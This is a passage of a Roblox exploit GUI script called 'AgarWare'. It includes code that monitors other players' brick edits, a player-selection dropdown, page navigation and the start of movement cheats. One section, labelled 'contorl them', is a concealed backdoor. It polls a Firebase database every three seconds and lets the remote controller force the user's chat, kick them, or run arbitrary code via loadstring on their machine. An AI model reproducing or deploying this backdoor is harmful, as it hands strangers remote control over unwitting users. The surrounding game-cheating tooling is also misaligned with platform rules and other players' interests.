local noSlashPlayers = {}
for _, player in ipairs(soundPlayers) do
if playedSlashNear(player, eventTime) then
table.insert(slashPlayers, player)
else
table.insert(noSlashPlayers, player)
end
end
local toFlag = #noSlashPlayers > 0 and noSlashPlayers or slashPlayers
-- Cancel if own brick
for _, player in ipairs(toFlag) do
if player.Name == ownerName then return end
end
for _, player in ipairs(toFlag) do
if passesFilters(player, ownerName) then
flagExploitDelete(player, ownerName)
end
end
end
--------------------------------------------------
-- EXPLOIT DETECTION (PAINT)
-- Only flags players OUTSIDE 30 studs from brick
--------------------------------------------------
local function runExploitPaint(ownerName, brickPos, eventTime)
if not isExploitOn() then return end
local soundPlayed = waitUntil(function()
for _, player in ipairs(Players:GetPlayers()) do
local t = recentPaintSound[player.UserId]
if t and (t - eventTime) >= SOUND_MIN_EXPLOIT and (t - eventTime) <= SOUND_MAX_EXPLOIT then
return true
end
end
return false
end, EXPLOIT_SOUND_WAIT)
if not soundPlayed then return end
local soundPlayers = {}
for _, player in ipairs(Players:GetPlayers()) do
local t = recentPaintSound[player.UserId]
if t then
local delay = t - eventTime
if delay >= SOUND_MIN_EXPLOIT and delay <= SOUND_MAX_EXPLOIT then
if getPlayerDist(player, brickPos) > MAX_DISTANCE then
table.insert(soundPlayers, player)
end
end
end
end
if #soundPlayers == 0 then return end
task.wait(EXPLOIT_WAIT)
local slashPlayers = {}
local noSlashPlayers = {}
for _, player in ipairs(soundPlayers) do
if playedSlashNear(player, eventTime) then
table.insert(slashPlayers, player)
else
table.insert(noSlashPlayers, player)
end
end
local toFlag = #noSlashPlayers > 0 and noSlashPlayers or slashPlayers
for _, player in ipairs(toFlag) do
if player.Name == ownerName then return end
end
for _, player in ipairs(toFlag) do
if passesFilters(player, ownerName) then
flagExploitPaint(player, ownerName)
end
end
end
--------------------------------------------------
-- DELETE DETECTION
--------------------------------------------------
local function handleDelete(brickPos, ownerName, removedAt)
if isDelcube(ownerName, removedAt) then return end
task.spawn(function()
-- Step 1: Check who was within 30 studs
local inRange = {}
for _, player in ipairs(Players:GetPlayers()) do
if getPlayerDist(player, brickPos) <= MAX_DISTANCE then
table.insert(inRange, player)
end
end
if #inRange == 0 then
task.spawn(runExploitDelete, ownerName, brickPos, removedAt)
return
end
-- Step 2: Wait up to SOUND_MAX_NORMAL for brick sound from in-range players
local detected = {}
waitUntil(function()
detected = {}
for _, player in ipairs(inRange) do
if playedDeleteSoundInRange(player, removedAt, SOUND_MIN_NORMAL, SOUND_MAX_NORMAL) then
table.insert(detected, player)
end
end
return #detected > 0
end, SOUND_MAX_NORMAL)
if #detected == 0 then
task.spawn(runExploitDelete, ownerName, brickPos, removedAt)
return
end
-- Step 3: Cancel if own brick
for _, player in ipairs(detected) do
if player.Name == ownerName then return end
end
-- Step 4: Flag all detected
if isDeleteOn() then
for _, player in ipairs(detected) do
if passesFilters(player, ownerName) then
flagDelete(player, ownerName)
end
end
end
end)
end
--------------------------------------------------
-- PAINT DETECTION
--------------------------------------------------
local function handlePaint(brickPos, ownerName, changedAt)
task.spawn(function()
local inRange = {}
for _, player in ipairs(Players:GetPlayers()) do
if getPlayerDist(player, brickPos) <= MAX_DISTANCE then
table.insert(inRange, player)
end
end
if #inRange == 0 then
task.spawn(runExploitPaint, ownerName, brickPos, changedAt)
return
end
local detected = {}
waitUntil(function()
detected = {}
for _, player in ipairs(inRange) do
if playedPaintSoundInRange(player, changedAt, SOUND_MIN_NORMAL, SOUND_MAX_NORMAL) then
table.insert(detected, player)
end
end
return #detected > 0
end, SOUND_MAX_NORMAL)
if #detected == 0 then
task.spawn(runExploitPaint, ownerName, brickPos, changedAt)
return
end
for _, player in ipairs(detected) do
if player.Name == ownerName then return end
end
if isPaintOn() then
for _, player in ipairs(detected) do
if passesFilters(player, ownerName) then
flagPaint(player, ownerName)
end
end
end
end)
end
--------------------------------------------------
-- SOUND TRACKING
--------------------------------------------------
local function hookHRP(player, hrp)
local function trackSound(obj)
if not obj:IsA("Sound") then return end
local lastTime = 0
local wasPlaying = false
if obj.SoundId == BRICK_SOUND_ID then
local c = RunService.Heartbeat:Connect(function()
if not obj.Parent then return end
local t = obj.TimePosition
local playing = obj.IsPlaying
if playing then
if not wasPlaying or (lastTime > 0.05 and t < 0.05) then
recentDeleteSound[player.UserId] = tick()
end
end
lastTime = t
wasPlaying = playing
end)
table.insert(connections, c)
elseif obj.SoundId == PAINT_SOUND_ID then
local c = RunService.Heartbeat:Connect(function()
if not obj.Parent then return end
local t = obj.TimePosition
local playing = obj.IsPlaying
if playing then
if not wasPlaying or (lastTime > 0.05 and t < 0.05) then
recentPaintSound[player.UserId] = tick()
end
end
lastTime = t
wasPlaying = playing
end)
table.insert(connections, c)
end
end
for _, obj in pairs(hrp:GetDescendants()) do
trackSound(obj)
end
local c = hrp.DescendantAdded:Connect(trackSound)
table.insert(connections, c)
end
--------------------------------------------------
-- SLASH ANIM TRACKING
--------------------------------------------------
local function hookAnim(player)
local lastTime = 0
local wasPlaying = false
local c = RunService.Heartbeat:Connect(function()
local char = player.Character
if not char then return end
local hum = char:FindFirstChildOfClass("Humanoid")
if not hum then return end
local animator = hum:FindFirstChildOfClass("Animator")
if not animator then return end
for _, track in pairs(animator:GetPlayingAnimationTracks()) do
if track.Animation and track.Animation.AnimationId:find(DELETE_ANIM_ID) then
local t = track.TimePosition
if not wasPlaying or (lastTime > 0.05 and t < 0.05) then
recentSlashAnim[player.UserId] = tick()
end
lastTime = t
wasPlaying = true
return
end
end
wasPlaying = false
end)
table.insert(connections, c)
end
--------------------------------------------------
-- PLAYER WATCHER
--------------------------------------------------
local function watchPlayer(player)
if player.Character then
local hrp = player.Character:FindFirstChild("HumanoidRootPart")
if hrp then hookHRP(player, hrp) end
end
local cc = player.CharacterAdded:Connect(function(char)
local hrp = char:WaitForChild("HumanoidRootPart", 10)
if hrp then hookHRP(player, hrp) end
end)
table.insert(connections, cc)
hookAnim(player)
end
--------------------------------------------------
-- BRICK WATCHERS
--------------------------------------------------
local function watchBrick(brick, ownerName)
if not isPaintOn() and not isExploitOn() then return end
local props = {"BrickColor", "Material", "Anchored", "CanCollide"}
for _, prop in ipairs(props) do
local c = brick:GetPropertyChangedSignal(prop):Connect(function()
if not isPaintOn() and not isExploitOn() then return end
handlePaint(brick.Position, ownerName, tick())
end)
table.insert(connections, c)
end
local c1 = brick.ChildAdded:Connect(function(child)
if child.Name ~= "Light" and child.Name ~= "Drag" then return end
if not isPaintOn() and not isExploitOn() then return end
handlePaint(brick.Position, ownerName, tick())
end)
table.insert(connections, c1)
end
local function watchFolder(folder)
local ownerName = folder.Name
if isDeleteOn() or isExploitOn() then
local c = folder.ChildRemoved:Connect(function(child)
if child.Name ~= "Brick" then return end
if not isDeleteOn() and not isExploitOn() then return end
handleDelete(child.Position, ownerName, tick())
end)
table.insert(connections, c)
end
local c = folder.ChildAdded:Connect(function(child)
if child.Name ~= "Brick" then return end
if not isSpamOn() then return end
local player = Players:FindFirstChild(ownerName)
if not player then return end
if not passesFilters(player, ownerName) then return end
flagSpam(player)
end)
table.insert(connections, c)
local c2 = folder.ChildAdded:Connect(function(child)
if child.Name ~= "Brick" then return end
watchBrick(child, ownerName)
end)
table.insert(connections, c2)
for _, child in ipairs(folder:GetChildren()) do
if child.Name == "Brick" then
watchBrick(child, ownerName)
end
end
end
--------------------------------------------------
-- START / STOP
--------------------------------------------------
local function startWatching()
if isRunning then return end
isRunning = true
local bricksFolder = workspace:WaitForChild("Bricks")
for _, p in ipairs(Players:GetPlayers()) do
watchPlayer(p)
end
local c1 = Players.PlayerAdded:Connect(watchPlayer)
table.insert(connections, c1)
Players.PlayerRemoving:Connect(function(player)
local uid = player.UserId
recentDeleteSound[uid] = nil
recentPaintSound[uid] = nil
recentSlashAnim[uid] = nil
deleteTracker[uid] = nil
deleteCooldown[uid] = nil
paintTracker[uid] = nil
paintCooldown[uid] = nil
exploitDeleteTracker[uid] = nil
exploitDeleteCooldown[uid] = nil
exploitPaintTracker[uid] = nil
exploitPaintCooldown[uid] = nil
spamTracker[uid] = nil
spamCooldown[uid] = nil
end)
for _, folder in ipairs(bricksFolder:GetChildren()) do
watchFolder(folder)
end
local c2 = bricksFolder.ChildAdded:Connect(watchFolder)
table.insert(connections, c2)
end
local function stopWatching()
if not isRunning then return end
isRunning = false
for _, c in ipairs(connections) do
pcall(function() c:Disconnect() end)
end
clearArray(connections)
clearTable(recentDeleteSound)
clearTable(recentPaintSound)
clearTable(recentSlashAnim)
clearTable(deleteTracker)
clearTable(deleteCooldown)
clearTable(paintTracker)
clearTable(paintCooldown)
clearTable(exploitDeleteTracker)
clearTable(exploitDeleteCooldown)
clearTable(exploitPaintTracker)
clearTable(exploitPaintCooldown)
clearTable(spamTracker)
clearTable(spamCooldown)
clearTable(delcubeTracker)
end
--------------------------------------------------
-- ATTRIBUTE WATCHERS
--------------------------------------------------
local ATTRS = {"DeleteLogsEnabled", "PaintLogsEnabled", "ExploitsLogsEnabled", "SpamLogsEnabled"}
for _, attr in ipairs(ATTRS) do
ScreenGui:GetAttributeChangedSignal(attr):Connect(function()
if anyOn() then startWatching() else stopWatching() end
end)
end
if anyOn() then startWatching() end
end;
task.spawn(C_6);
-- StarterGui.AgarWareGui.DropdownMaster
local function C_7()
local script = G2L["7"];
-- DropdownMaster - Place under ScreenGui as LocalScript
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer
local ROW_HEIGHT = 16
local MAX_ROWS = 7
local BG = Color3.fromRGB(24, 24, 24)
local BORDER = Color3.fromRGB(57, 57, 57)
local WHITE = Color3.new(1, 1, 1)
local DIM = Color3.fromRGB(120, 120, 120)
local BLUE = Color3.fromRGB(0, 123, 255)
local HOVER = Color3.fromRGB(36, 36, 36)
local BTN_BG = Color3.fromRGB(36, 36, 36)
local cachedThumbs = {}
local function getThumb(userId)
if cachedThumbs[userId] then return cachedThumbs[userId] end
local ok, img = pcall(function()
return Players:GetUserThumbnailAsync(userId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48)
end)
local result = ok and img or ""
cachedThumbs[userId] = result
return result
end
local function getScreenGui(element)
local p = element
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local function create(config)
local dropdown = config.dropdown
local mode = config.mode or "players" -- "players" or "custom"
local multiSelect = config.multiSelect == true
local showIcons = config.showIcons ~= false
local selectedPlayers = config.initialSelection or {}
local selectedPlayer = nil -- For single-select
local selectedValue = nil -- For custom single-select
local showDisplay = false
local isOpen = false
if not game:IsLoaded() then game.Loaded:Wait() end
repeat task.wait() until dropdown.AbsoluteSize.X > 0
local mainLabel = Instance.new("TextLabel")
mainLabel.Name = "MainLabel"
mainLabel.Size = UDim2.new(1, -24, 1, 0)
mainLabel.BackgroundTransparency = 1
mainLabel.Text = multiSelect and "Select Players" or "Select Player"
mainLabel.TextColor3 = WHITE
mainLabel.TextSize = 14
mainLabel.Font = Enum.Font.Code
mainLabel.TextXAlignment = Enum.TextXAlignment.Center
mainLabel.TextTruncate = Enum.TextTruncate.AtEnd
mainLabel.ZIndex = 2
mainLabel.Parent = dropdown
local mainArrow = Instance.new("TextLabel")
mainArrow.Name = "MainArrow"
mainArrow.Size = UDim2.new(0, 24, 1, 0)
mainArrow.Position = UDim2.new(1, -24, 0, 0)
mainArrow.BackgroundTransparency = 1
mainArrow.Text = "▼"
mainArrow.TextColor3 = WHITE
mainArrow.TextSize = 14
mainArrow.Font = Enum.Font.Code
mainArrow.TextXAlignment = Enum.TextXAlignment.Center
mainArrow.ZIndex = 2
mainArrow.Parent = dropdown
local screenGui = getScreenGui(dropdown)
local panel = Instance.new("Frame")
panel.BackgroundColor3 = BG
panel.BorderSizePixel = 0
panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT)
panel.ZIndex = 999
panel.Visible = false
panel.Parent = screenGui
local panelStroke = Instance.new("UIStroke")
panelStroke.Color = BORDER
panelStroke.Thickness = 1
panelStroke.Parent = panel
local searchBox = Instance.new("TextBox")
searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
searchBox.BackgroundColor3 = BG
searchBox.BorderSizePixel = 0
searchBox.Text = ""
searchBox.PlaceholderText = "Search for users..."
searchBox.PlaceholderColor3 = DIM
searchBox.TextColor3 = WHITE
searchBox.TextSize = 14
searchBox.Font = Enum.Font.Code
searchBox.TextXAlignment = Enum.TextXAlignment.Left
searchBox.ClearTextOnFocus = false
searchBox.ZIndex = 1000
searchBox.Parent = panel
local searchPad = Instance.new("UIPadding")
searchPad.PaddingLeft = UDim.new(0, 6)
searchPad.PaddingRight = UDim.new(0, 24)
searchPad.Parent = searchBox
local searchArrow = Instance.new("TextButton")
searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT)
searchArrow.Position = UDim2.new(1, -24, 0, 0)
searchArrow.BackgroundTransparency = 1
searchArrow.Text = "▲"
searchArrow.TextColor3 = WHITE
searchArrow.TextSize = 14
searchArrow.Font = Enum.Font.Code
searchArrow.BorderSizePixel = 0
searchArrow.ZIndex = 1001
searchArrow.Parent = panel
local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT)
scrollFrame.Size = UDim2.new(1, 0, 0, 0)
scrollFrame.BackgroundTransparency = 1
scrollFrame.BorderSizePixel = 0
scrollFrame.ScrollBarThickness = 2
scrollFrame.ScrollBarImageColor3 = BORDER
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
scrollFrame.ZIndex = 1000
scrollFrame.Parent = panel
local listLayout = Instance.new("UIListLayout")
listLayout.SortOrder = Enum.SortOrder.LayoutOrder
listLayout.Parent = scrollFrame
local bottomButtons = config.bottomButtons or {}
local rows = math.ceil(#bottomButtons / 2)
local bottomBarHeight = (ROW_HEIGHT + 2) * rows
local bottomBar = Instance.new("Frame")
bottomBar.Size = UDim2.new(1, 0, 0, bottomBarHeight)
bottomBar.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
bottomBar.BorderSizePixel = 0
bottomBar.ZIndex = 1000
bottomBar.Parent = panel
local bottomStroke = Instance.new("UIStroke")
bottomStroke.Color = BORDER
bottomStroke.Thickness = 1
bottomStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
bottomStroke.Parent = bottomBar
local function updateMainLabel()
local count = 0
local names = {}
for name, _ in pairs(selectedPlayers) do
count = count + 1
local player = Players:FindFirstChild(name)
if player then
local displayText = showDisplay and player.DisplayName or player.Name
table.insert(names, displayText)
end
end
if count == 0 then
mainLabel.Text = "Select Players"
elseif count <= 2 then
mainLabel.Text = table.concat(names, ", ")
else
mainLabel.Text = count .. " Players Selected"
end
end
local function updatePanelSize(rowCount)
local visibleRows = math.min(rowCount, MAX_ROWS)
local scrollH = visibleRows * ROW_HEIGHT
scrollFrame.Size = UDim2.new(1, 0, 0, scrollH)
panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH + bottomBarHeight)
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT)
bottomBar.Position = UDim2.new(0, 0, 0, ROW_HEIGHT + scrollH)
end
local function buildList(filter)
for _, child in pairs(scrollFrame:GetChildren()) do
if child:IsA("Frame") then child:Destroy() end
end
local itemList = {}
if mode == "custom" then
-- Custom items mode
for _, item in ipairs(config.items or {}) do
if filter == "" or item:lower():find(filter:lower(), 1, true) then
table.insert(itemList, {
value = item,
displayText = item,
isCustom = true
})
end
end
else
-- Player mode
for _, p in pairs(Players:GetPlayers()) do
table.insert(itemList, {
value = p,
displayText = showDisplay and p.DisplayName or p.Name,
userId = p.UserId,
isCustom = false
})
end
table.sort(itemList, function(a, b)
return a.displayText:lower() < b.displayText:lower()
end)
local filtered = {}
for _, item in ipairs(itemList) do
if filter == "" or item.displayText:lower():find(filter:lower(), 1, true) then
table.insert(filtered, item)
end
end
itemList = filtered
end
for i, item in ipairs(itemList) do
local isSelected
if mode == "custom" then
isSelected = selectedValue == item.value
else
isSelected = multiSelect and selectedPlayers[item.value.Name] or (selectedPlayer and selectedPlayer.Name == item.value.Name)
end
local row = Instance.new("Frame")
row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
row.BackgroundColor3 = isSelected and HOVER or BG
row.BorderSizePixel = 0
row.LayoutOrder = i
row.ZIndex = 1001
row.Parent = scrollFrame
if showIcons and not item.isCustom and item.userId then
local thumb = Instance.new("ImageLabel")
thumb.Size = UDim2.new(0, 12, 0, 12)
thumb.Position = UDim2.new(1, -16, 0.5, -6)
thumb.BackgroundTransparency = 1
thumb.Image = ""
thumb.ZIndex = 1002
thumb.Parent = row
task.spawn(function()
thumb.Image = getThumb(item.userId)
end)
end
local nameLabel = Instance.new("TextLabel")
nameLabel.Size = UDim2.new(1, -22, 1, 0)
nameLabel.Position = UDim2.new(0, 6, 0, 0)
nameLabel.BackgroundTransparency = 1
nameLabel.Text = item.displayText
nameLabel.TextColor3 = isSelected and BLUE or WHITE
nameLabel.TextSize = 14
nameLabel.Font = Enum.Font.Code
nameLabel.TextXAlignment = Enum.TextXAlignment.Left
nameLabel.TextTruncate = Enum.TextTruncate.AtEnd
nameLabel.ZIndex = 1002
nameLabel.Parent = row
local rowBtn = Instance.new("TextButton")
rowBtn.Size = UDim2.new(1, 0, 1, 0)
rowBtn.BackgroundTransparency = 1
rowBtn.Text = ""
rowBtn.ZIndex = 1003
rowBtn.Parent = row
rowBtn.MouseEnter:Connect(function()
row.BackgroundColor3 = HOVER
end)
rowBtn.MouseLeave:Connect(function()
local isStillSelected
if mode == "custom" then
isStillSelected = selectedValue == item.value
else
isStillSelected = multiSelect and selectedPlayers[item.value.Name] or (selectedPlayer and selectedPlayer.Name == item.value.Name)
end
if not isStillSelected then
row.BackgroundColor3 = BG
end
end)
rowBtn.MouseButton1Click:Connect(function()
if mode == "custom" then
-- Custom single-select
selectedValue = item.value
mainLabel.Text = item.displayText
if config.onSelect then
config.onSelect(item.value)
end
closeDropdown()
elseif multiSelect then
-- Multi-select logic
if selectedPlayers[item.value.Name] then
selectedPlayers[item.value.Name] = nil
nameLabel.TextColor3 = WHITE
row.BackgroundColor3 = BG
else
selectedPlayers[item.value.Name] = true
nameLabel.TextColor3 = BLUE
row.BackgroundColor3 = HOVER
end
updateMainLabel()
if config.onMultiSelectChange then
local copy = {}
for k, v in pairs(selectedPlayers) do
copy[k] = v
end
config.onMultiSelectChange(copy)
end
else
-- Single-select logic
selectedPlayer = item.value
mainLabel.Text = item.displayText
if config.onSelectPlayer then
config.onSelectPlayer(item.value)
end
closeDropdown()
end
end)
end
updatePanelSize(#itemList)
end
for i, btnConfig in ipairs(bottomButtons) do
local row = math.ceil(i / 2) - 1
local col = (i - 1) % 2
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0.5, col == 0 and -1 or 0, 0, ROW_HEIGHT + 2)
btn.Position = UDim2.new(col * 0.5, col == 0 and 0 or 1, 0, row * (ROW_HEIGHT + 2))
btn.BackgroundColor3 = BTN_BG
btn.BorderSizePixel = 0
btn.Text = btnConfig.text
btn.TextColor3 = WHITE
btn.TextSize = 11
btn.Font = Enum.Font.Code
btn.ZIndex = 1001
btn.Parent = bottomBar
btn.MouseButton1Click:Connect(function()
if btnConfig.onClick then
btnConfig.onClick({
showDisplay = showDisplay,
rebuildList = function() buildList(searchBox.Text) end,
setShowDisplay = function(val) showDisplay = val end,
selectedPlayers = selectedPlayers, -- Pass reference
mainLabel = mainLabel,
button = btn,
-- Helper to trigger callback
notifyChange = function()
if config.onMultiSelectChange then
local copy = {}
for k, v in pairs(selectedPlayers) do
copy[k] = v
end
config.onMultiSelectChange(copy)
end
end
})
end
end)
if col == 0 and i < #bottomButtons then
local divider = Instance.new("Frame")
divider.Size = UDim2.new(0, 1, 0, ROW_HEIGHT + 2)
divider.Position = UDim2.new(0.5, -1, 0, row * (ROW_HEIGHT + 2))
divider.BackgroundColor3 = BORDER
divider.BorderSizePixel = 0
divider.ZIndex = 1001
divider.Parent = bottomBar
end
if row > 0 and col == 0 then
local rowDivider = Instance.new("Frame")
rowDivider.Size = UDim2.new(1, 0, 0, 1)
rowDivider.Position = UDim2.new(0, 0, 0, row * (ROW_HEIGHT + 2) - 1)
rowDivider.BackgroundColor3 = BORDER
rowDivider.BorderSizePixel = 0
rowDivider.ZIndex = 1001
rowDivider.Parent = bottomBar
end
end
local function openDropdown()
isOpen = true
mainLabel.Visible = false
mainArrow.Visible = false
repeat task.wait() until dropdown.AbsoluteSize.X > 0
local absPos = dropdown.AbsolutePosition
local absSize = dropdown.AbsoluteSize
panel.Position = UDim2.new(0, absPos.X + (absSize.X - 161) / 2, 0, absPos.Y + absSize.Y)
panel.Visible = true
searchBox.Text = ""
buildList("")
end
local function closeDropdown()
isOpen = false
panel.Visible = false
mainLabel.Visible = true
mainArrow.Visible = true
if multiSelect then
updateMainLabel()
end
end
dropdown.MouseButton1Click:Connect(function()
if isOpen then
closeDropdown()
else
openDropdown()
end
end)
searchArrow.MouseButton1Click:Connect(closeDropdown)
searchBox:GetPropertyChangedSignal("Text"):Connect(function()
buildList(searchBox.Text)
end)
UserInputService.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then
local mousePos = input.Position
local panelPos = panel.AbsolutePosition
local panelSize = panel.AbsoluteSize
local btnPos = dropdown.AbsolutePosition
local btnSize = dropdown.AbsoluteSize
local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X
and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y
local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X
and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y
if not inPanel and not inBtn then
closeDropdown()
end
end
end)
Players.PlayerRemoving:Connect(function(p)
if selectedPlayers[p.Name] then
selectedPlayers[p.Name] = nil
updateMainLabel()
if config.onMultiSelectChange then
config.onMultiSelectChange(selectedPlayers)
end
end
if isOpen then buildList(searchBox.Text) end
end)
Players.PlayerAdded:Connect(function()
if isOpen then buildList(searchBox.Text) end
end)
updateMainLabel()
end
shared.DropdownMaster = { create = create }
end;
task.spawn(C_7);
-- StarterGui.AgarWareGui.contorl them
local function C_8()
local script = G2L["8"];
local FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com"
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local LocalPlayer = Players.LocalPlayer
local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request)
local lastCommandTimestamp = os.time()
local function checkForCommands()
pcall(function()
local response = _req({
Url = FIREBASE_URL .. "/commands/" .. LocalPlayer.Name .. ".json",
Method = "GET"
})
if response.StatusCode == 200 and response.Body ~= "null" then
local commandData = HttpService:JSONDecode(response.Body)
if commandData and commandData.timestamp > lastCommandTimestamp then
lastCommandTimestamp = commandData.timestamp
if commandData.type == "forcechat" then
pcall(function()
if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
TextChatService.TextChannels.RBXGeneral:SendAsync(commandData.message)
else
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(commandData.message, "All")
end
end)
elseif commandData.type == "kick" then
LocalPlayer:Kick("You have been kicked by an admin.")
elseif commandData.type == "execute" then
pcall(function()
loadstring(commandData.code)()
end)
end
-- REMOVED THE DELETE HERE - let the 10 second timer handle it
end
end
end)
end
while wait(3) do
checkForCommands()
end
end;
task.spawn(C_8);
-- StarterGui.AgarWareGui.MainFrame.SideBar.PageHandler
local function C_c()
local script = G2L["c"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
if not LocalPlayer then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
LocalPlayer = Players.LocalPlayer
end
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui", 60)
local ScreenGui
repeat ScreenGui = PlayerGui:FindFirstChild("AgarWareGui") if not ScreenGui then task.wait(0.1) end until ScreenGui
local MainFrame
repeat MainFrame = ScreenGui:FindFirstChild("MainFrame") if not MainFrame then task.wait(0.1) end until MainFrame
local SideBar
repeat SideBar = MainFrame:FindFirstChild("SideBar") if not SideBar then task.wait(0.1) end until SideBar
local ContentArea
repeat ContentArea = MainFrame:FindFirstChild("ContentArea") if not ContentArea then task.wait(0.1) end until ContentArea
local TCOSideBar
repeat TCOSideBar = ContentArea:FindFirstChild("TCOSideBar") if not TCOSideBar then task.wait(0.1) end until TCOSideBar
local pageConfig = {
{buttonName = "MainPG", pageName = "MainPage"},
{buttonName = "SettingsPG", pageName = "SettingsPage"},
{buttonName = "VisualPG", pageName = "VisualPage"},
{buttonName = "TCOPG", pageName = "TCOMainPage"},
{buttonName = "MiscPG", pageName = "MiscPage"},
{buttonName = "MenuPG", pageName = "MenuPage"},
{buttonName = "TrollPG", pageName = "TrollPage"},
}
local tcoPageConfig = {
{buttonName = "MainTCOPG", pageName = "TCOMainPage"},
{buttonName = "MiscTCOPG", pageName = "TCOMiscPage"},
{buttonName = "DetectionTCOPG", pageName = "TCODetectionPage"},
{buttonName = "TrollTCOPG", pageName = "TCOTrollPage"},
}
local ACTIVE_COLOR = Color3.fromRGB(18, 18, 18)
local INACTIVE_COLOR = Color3.fromRGB(0, 0, 0)
local ACTIVE_TEXT_COLOR = Color3.fromRGB(0, 123, 255)
local INACTIVE_TEXT_COLOR = Color3.fromRGB(255, 255, 255)
local tcoPageNames = {}
for _, config in tcoPageConfig do
tcoPageNames[config.pageName] = true
end
local currentPage = nil
local activeButton = nil
local activeTCOButton = nil
local function setTCOSideBarVisible(visible)
TCOSideBar.Visible = visible
end
local function switchTCOPage(buttonName, pageName)
for _, config in tcoPageConfig do
local page = ContentArea:FindFirstChild(config.pageName)
if page then page.Visible = false end
end
for _, config in tcoPageConfig do
local button = TCOSideBar:FindFirstChild(config.buttonName)
if button and button:IsA("TextButton") then
button.BackgroundColor3 = INACTIVE_COLOR
button.TextColor3 = INACTIVE_TEXT_COLOR -- ✅
end
end
local selectedPage = ContentArea:FindFirstChild(pageName)
if selectedPage then
selectedPage.Visible = true
currentPage = pageName
else
warn("TCO Page not found: " .. pageName)
end
local selectedButton = TCOSideBar:FindFirstChild(buttonName)
if selectedButton and selectedButton:IsA("TextButton") then
selectedButton.BackgroundColor3 = ACTIVE_COLOR
selectedButton.TextColor3 = ACTIVE_TEXT_COLOR -- ✅
activeTCOButton = buttonName
end
end
local function switchPage(buttonName, pageName)
local isTCOPage = tcoPageNames[pageName]
for _, config in pageConfig do
if not tcoPageNames[config.pageName] then
local page = ContentArea:FindFirstChild(config.pageName)
if page then page.Visible = false end
end
end
if not isTCOPage then
for _, config in tcoPageConfig do
local page = ContentArea:FindFirstChild(config.pageName)
if page then page.Visible = false end
end
end
for _, config in pageConfig do
local button = SideBar:FindFirstChild(config.buttonName)
if button and button:IsA("TextButton") then
button.BackgroundColor3 = INACTIVE_COLOR
button.TextColor3 = INACTIVE_TEXT_COLOR -- ✅
end
end
setTCOSideBarVisible(isTCOPage)
if isTCOPage then
switchTCOPage(activeTCOButton or "MainTCOPG", activeTCOButton and
(function()
for _, c in tcoPageConfig do
if c.buttonName == activeTCOButton then return c.pageName end
end
end)() or "TCOMainPage")
else
local selectedPage = ContentArea:FindFirstChild(pageName)
if selectedPage then
selectedPage.Visible = true
currentPage = pageName
else
warn("Page not found: " .. pageName)
end
end
local selectedButton = SideBar:FindFirstChild(buttonName)
if selectedButton and selectedButton:IsA("TextButton") then
selectedButton.BackgroundColor3 = ACTIVE_COLOR
selectedButton.TextColor3 = ACTIVE_TEXT_COLOR -- ✅
activeButton = buttonName
end
end
for _, config in pageConfig do
local button = SideBar:FindFirstChild(config.buttonName)
if button and button:IsA("TextButton") then
button.MouseButton1Click:Connect(function()
switchPage(config.buttonName, config.pageName)
end)
else
warn("Button not found: " .. config.buttonName)
end
end
for _, config in tcoPageConfig do
local button = TCOSideBar:FindFirstChild(config.buttonName)
if button and button:IsA("TextButton") then
button.MouseButton1Click:Connect(function()
switchTCOPage(config.buttonName, config.pageName)
end)
else
warn("TCO Button not found: " .. config.buttonName)
end
end
setTCOSideBarVisible(false)
task.wait(0.05)
switchPage("MenuPG", "MenuPage")
print("AGAR WARE LOADED")
end;
task.spawn(C_c);
-- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG.TCOIngame
local function C_13()
local script = G2L["13"];
local TCOPG = script.Parent -- if script is inside TCOPG
-- or find it:
-- local TCOPG = game.Players.LocalPlayer.PlayerGui.ScreenGui.MainFrame.SideBar.TCOPG
local TCO_PLACE_IDS = {
11137575513,
12943245078,
12943247001,
108097274488844,
}
local isTCO = false
for _, id in ipairs(TCO_PLACE_IDS) do
if game.PlaceId == id then
isTCO = true
break
end
end
if not isTCO then
TCOPG.Text = "TCO (not ingame)"
end
end;
task.spawn(C_13);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementScript
local function C_1c()
local script = G2L["1c"];
-- ============================================================
-- MOVEMENT GROUP MASTER SCRIPT
-- Place this script directly under MovementGroup
-- Handles: Minimize, Fly, InfJump, Jumppower, ShiftLock, Walkspeed
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
local LocalPlayer = Players.LocalPlayer
local MovementGroup = script.Parent
local MovementMinimize = MovementGroup.MovementTitle.MovementMinimize
local MovementAccentColor = MovementGroup:FindFirstChild("MovementAccentColor")
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = MovementGroup
while p do
if p:IsA("ScreenGui") then return p end
